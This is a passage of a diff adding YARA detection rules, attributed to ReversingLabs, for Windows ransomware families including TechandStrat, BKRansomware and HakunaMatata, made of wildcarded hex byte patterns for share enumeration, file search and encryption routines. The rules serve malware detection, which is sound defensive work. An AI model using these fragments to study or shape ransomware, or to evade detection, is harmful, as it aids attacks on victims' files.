+            84 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            2D ?? ?? ?? ?? 50 C6 80 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 58 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? E9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 2D ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? 3C
+            ?? 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 53 68 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8
+            ?? 74 ?? E9 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 0F 83 C7 ?? 51 57 68
+        }
+		$search_and_encrypt_v2_p2 = {
+            E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 03 F8 47 59 83 FB ?? 74 ?? 49 75 ?? E9 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 00 ?? 6A
+            ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 85 C0 0F
+            84 ?? ?? ?? ?? 48 A3 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ??
+            ?? 83 F8 ?? 7D ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ??
+            ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? EB ?? 68 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8A 10 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? AC 32 C2
+            D0 C2 AA E2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
+            35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? FF 75 ?? E8 ?? ?? ?? ?? C9 C3
+        }
+		$extract_rsrc_v2 = {
+            55 8B EC 83 C4 ?? 53 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89
+            45 ?? 50 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89 45 ?? FF 75 ?? 6A ?? E8
+            ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ??
+            ?? ?? ?? 89 45 ?? 8B F8 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 8B 45 ?? 83
+            E8 ?? 50 57 E8 ?? ?? ?? ?? 8B 1F 83 C7 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            0B C0 75 ?? E9 ?? ?? ?? ?? A3 ?? ?? ?? ?? 53 57 FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03
+            FB 8B 1F 83 C7 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ??
+            ?? A3 ?? ?? ?? ?? 53 57 FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 FB 8B 1F 83 C7 ?? 53 6A
+            ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? A3 ?? ?? ?? ?? 53 57
+            FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 FB 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7
+            ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7
+            ?? FF 75 ?? E8 ?? ?? ?? ?? 5B C9 C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (($extract_rsrc_v1) and ( all of ($search_and_encrypt_v1_p*))) or (($extract_rsrc_v2) and ( all of ($search_and_encrypt_v2_p*)))
+}
+rule REVERSINGLABS_Win32_Ransomware_Techandstrat : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects TechandStrat ransomware."
+		author = "ReversingLabs"
+		id = "525d0b48-2018-5848-b9e7-def8395254eb"
+		date = "2021-05-17"
+		modified = "2021-05-17"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.TechandStrat.yara#L1-L106"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "80e201cf91adeee100e05af3ba5227fc61968bb6e0ce602107ba1217a7a62856"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "TechandStrat"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$enum_shares_p1 = {
+            55 8B EC 83 EC ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? C7 45 ?? ?? ??
+            ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF
+            15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF
+            75 ?? FF 15 ?? ?? ?? ?? 85 C0 75
+        }
+		$enum_shares_p2 = {
+            8D 46 ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? FF 36 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B
+            7D ?? 72 ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 6A
+            ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5
+            5D C2
+        }
+		$find_files = {
+            8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 53 8B 5D ??
+            56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? 51
+            53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA ?? 75 ?? 8D 43 ?? 3B C8 74 ??
+            56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF 80 FA ?? 74 ?? 80 FA ?? 74 ??
+            80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23
+            C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ??
+            ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57
+            57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D
+            ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ??
+            ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 80 BD ??
+            ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 8B 85 ?? ?? ?? ?? 75
+            ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B FF 56 57
+            8B F9 8B 37 EB ?? FF 36 E8 ?? ?? ?? ?? 59 83 C6 ?? 3B 77 ?? 75 ?? FF 37 E8 ?? ?? ??
+            ?? 59 5F 5E C3
+        }
+		$encrypt_files_p1 = {
+            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8B 75 ?? 8D 44 24 ?? 57 50 C6 44
+            24 ?? ?? FF 36 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 8B
+            44 24 ?? 81 E9 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 D8 ?? 6A ?? 6A ?? 50 51 FF 36 FF D7
+            6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ??
+            81 BC 24 ?? ?? ?? ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33
+            D2 69 C0 ?? ?? ?? ?? 89 4C 24 ?? 8B 4C 24 ?? 89 8C 24 ?? ?? ?? ?? 83 C9 ?? 51 40 C7
+            44 24 ?? ?? ?? ?? ?? F7 F1 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50
+            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 54 24 ?? 89 94
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ??
+            ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 10 84 24 ?? ?? ?? ?? 6A ?? 6A ?? 0F
+            11 84 24 ?? ?? ?? ?? 0F 57 C0 66 0F 13 44 24 ?? 8B 44 24 ?? 50 89 44 24 ?? 8B 44 24
+            ?? 50 FF 36 89 44 24 ?? FF D7 6A ?? 8D 44 24 ?? 0F 57 C0 50 68 ?? ?? ?? ?? 8D 84 24
+            ?? ?? ?? ?? 66 0F 13 44 24 ?? 50 FF 36 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 85
+            C0 0F 84
+        }
+		$encrypt_files_p2 = {
+            6A ?? 6A ?? FF 74 24 ?? 0F 11 84 24 ?? ?? ?? ?? FF 74 24 ?? FF 36 FF 15 ?? ?? ?? ??
+            6A ?? 8D 44 24 ?? 50 FF 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ?? 8B
+            84 24 ?? ?? ?? ?? 8B C8 85 C0 B8 ?? ?? ?? ?? 6A ?? 0F 44 C8 69 44 24 ?? ?? ?? ?? ??
+            33 D2 6A ?? 40 89 44 24 ?? F7 F1 8B 4C 24 ?? 33 C0 83 C2 ?? 13 C0 01 54 24 ?? 13 C8
+            8B 44 24 ?? 89 4C 24 ?? 0F A4 C1 ?? C1 E0 ?? 51 50 FF 36 89 4C 24 ?? 89 44 24 ?? FF
+            15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF
+            15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84
+            24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? C7 84 24 ?? ?? ??
+            ?? ?? ?? ?? ?? 6A ?? 6A ?? FF D7 8B 35 ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 89 44 24 ??
+            FF D7 50 FF D6 6A ?? 6A ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? FF D7 50 FF D6 6A ?? 6A ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? FF D7 50 FF D6
+        }
+		$encrypt_files_p3 = {
+            6A ?? 6A ?? 66 0F 13 44 24 ?? FF 74 24 ?? FF 74 24 ?? FF 36 FF 15 ?? ?? ?? ?? 6A ??
+            8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ?? C6 44
+            24 ?? ?? FF 36 FF 15 ?? ?? ?? ?? 80 7C 24 ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 83 C6 ??
+            56 FF 15 ?? ?? ?? ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
+            84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
+            8B 75 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? FF 15
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($enum_shares_p*)) and ($find_files) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Bkransomware : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects BKRansomware ransomware."
+		author = "ReversingLabs"
+		id = "88dc5c4a-046a-52e2-b108-0a90b91d4fb6"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.BKRansomware.yara#L1-L79"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3118098f05a13bd161af0cb1ec322878b371ff70b9f3815a04115a214c0965a2"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "BKRansomware"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$search_files = {
+            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B F9 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ??
+            57 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? EB ?? 8D A4 24 ?? ?? ?? ?? 90
+            8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ??
+            8B B5 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B
+            10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66
+            85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? B8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ?? 83 C1 ?? 83 C0
+            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 8D
+            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 83 FE ?? 74 ??
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ??
+            50 57 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53
+            FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$encrypt_files_p1 = {
+            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 57 6A ?? 68
+            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B F9 68 ?? ?? ?? ?? 57 89 BD ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 56 6A ?? 53 FF 15 ?? ?? ??
+            ?? 8B F0 68 ?? ?? ?? ?? 57 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ??
+            ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85
+            C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ??
+            ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ??
+            57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85
+            C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 8E ?? ?? ?? ?? 33
+        }
+		$encrypt_files_p2 = {
+            FF 8D 49 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? 33 F6 8D 51 ?? EB ?? 8D 49 ?? 8A 01 41 84 C0 75 ?? 2B CA 74 ?? BB ?? ?? ?? ??
+            8A 84 35 ?? ?? ?? ?? 3C ?? 7C ?? 3C ?? 7F ?? 0F BE C0 83 E8 ?? 99 F7 FB 80 C2 ?? EB
+            ?? 3C ?? 7C ?? 3C ?? 7F ?? 0F BE C0 83 E8 ?? 99 F7 FB 80 C2 ?? 88 94 35 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 46 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F0 72 ?? 8B 9D ?? ?? ??
+            ?? 6A ?? 6A ?? 57 53 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8D 9B ?? ?? ?? ??
+            8A 01 41 84 C0 75 ?? 6A ?? 8D 85 ?? ?? ?? ?? 2B CA 50 51 8D 85 ?? ?? ?? ?? 50 53 FF
+            15 ?? ?? ?? ?? 03 BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 3B BD ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 53 FF 15 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ??
+            5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($search_files) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Hakunamatata : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects HakunaMatata ransomware."
+		author = "ReversingLabs"
+		id = "17438fcd-7a51-5fb6-96ac-38523bc1744f"
+		date = "2020-11-11"
+		modified = "2020-11-11"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.HakunaMatata.yara#L1-L373"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "e363ff93fce286d60a3f5ea20ba3ec03564b7a5321c3f6448cc82187f23e8a9f"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "HakunaMatata"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files = {
+            55 89 E5 57 56 53 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 40 ??
+            85 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 89 14 24 89 C1 E8 ??
+            ?? ?? ?? 83 EC ?? 84 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ??
+            ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B
+            45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83
+            EC ?? 85 C0 0F 95 C0 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 45 ?? 89 55 ?? 8B
+            45 ?? 8B 40 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 89 54 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 50 ?? 89 D0 C1 E0 ??
+            01 D0 01 C0 89 45 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ??
+            ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24
+            A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 0F 94 C0 84 C0 74 ?? C7 45 ?? ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 8B 45 ?? 8B 40 ?? BA ?? ?? ?? ?? 8B 4D ?? 8B 5D ?? 39 DA 72 ?? 39 DA 77 ??
+            39 C8 76 ?? 89 C8 89 DA 89 45 ?? 8B 55 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4D ??
+            89 4C 24 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ??
